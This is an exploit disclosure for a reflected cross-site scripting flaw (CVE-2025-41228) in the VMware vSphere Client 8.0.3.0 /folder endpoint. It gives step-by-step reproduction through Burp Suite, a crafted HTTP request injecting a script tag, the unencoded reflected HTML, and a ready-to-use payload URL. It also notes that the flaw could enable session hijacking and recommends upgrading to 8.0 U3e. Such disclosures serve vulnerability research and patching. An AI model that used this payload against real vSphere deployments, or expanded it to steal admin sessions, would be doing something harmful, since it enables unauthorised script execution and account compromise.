📄 VMware vSphere Client 8.0.3.0 Cross Site Scripting

# VMware vSphere Client 8.0.3.0 - Reflected Cross-Site Scripting (XSS)
    
    - **Exploit Title**: VMware vSphere Client 8.0.3.0 - Reflected Cross-Site Scripting (XSS)
    - **Date**: 2025-08-08
    - **Exploit Author**: Imraan Khan (Lich-Sec)
    - **Vendor Homepage**: [https://www.vmware.com](https://www.vmware.com)
    - **Version**: vSphere Client 8.0.3.0
    - **Tested On**: Web interface (Chrome 138)
    - **CVE**: CVE-2025-41228
    - **Category**: WebApps
    
    ---
    
    ## Description
    
    A reflected Cross-Site Scripting (XSS) vulnerability exists in VMware vSphere Client version 8.0.3.0. The application fails to sanitize input passed via a query string to the `/folder` endpoint, resulting in arbitrary JavaScript execution when the reflected value is rendered into an HTML form’s `action` attribute.
    
    The vulnerability was confirmed by intercepting a request through Burp Suite and injecting a malicious payload. This XSS only successfully executes when the response is rendered by a browser within an **active session**, such as one initiated via prior authentication.
    
    ---
    
    ## Steps to Reproduce
    
    ### 1. Initiate request to vulnerable endpoint
    
    Open a browser and navigate to:
    
    ```
    https://host/folder?ht7j4
    ```
    
    This sends a benign request that you will intercept.
    
    ---
    
    ### 2. Intercept and modify the request using Burp Suite
    
    With Burp Suite proxy enabled, capture the request and modify the query string to inject the XSS payload:
    
    ```
    GET /folder?ht7j4"><script>alert('ThisIsAnXSSBug')</script>tnkav=1 HTTP/2
    Host: 192.168.x.x
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
    Referer: https://192.168.x.x/
    Accept: text/html,application/xhtml+xml
    ```
    
    Then forward the request to the server.
    
    ---
    
    ### 3. Observe the reflected payload in the HTTP response
    
    In the Burp HTTP Response, the payload appears unencoded within the HTML:
    
    ```html
    <form action="/folder?ht7j4"><script>alert('ThisIsAnXSSBug')</script>tnkav=1" method="POST">
      <input name="VMware-CSRF-Token" type="hidden" value="..." />
    ```
    
    This confirms that the payload is reflected back into the HTML in a dangerous context — inside a form’s `action` attribute — allowing script execution.
    
    ---
    
    ### 4. Trigger script execution
    
    Because the XSS is reflected but only renders within the full browser context, to observe the popup:
    
    - Forward the exact same malicious request using Burp **with an authenticated session (cookies included)**.
    - OR, use Burp's **"Open in Browser"** feature (with session cookies) to request the full response as a browser would.
    
    Upon rendering the page, the browser will execute the injected `<script>`.
    
    Example payload URL:
    
    ```
    https://192.168.x.x/folder?ht7j4"><script>alert(1)</script>tnkav=1
    ```
    
    ---
    
    ## Impact
    
    Successful exploitation results in arbitrary JavaScript execution within the vSphere Client’s web interface. This could be leveraged for phishing, session hijacking, or further compromise of the admin's browser session.
    
    ---
    
    ## Recommendation
    
    Upgrade to VMware vCenter Server version **8.0 U3e or later**, which remediates **CVE-2025-41228**.
    
    ---
    
    ## References
    
    - https://nvd.nist.gov/vuln/detail/CVE-2025-41228
    - https://www.vmware.com/security/advisories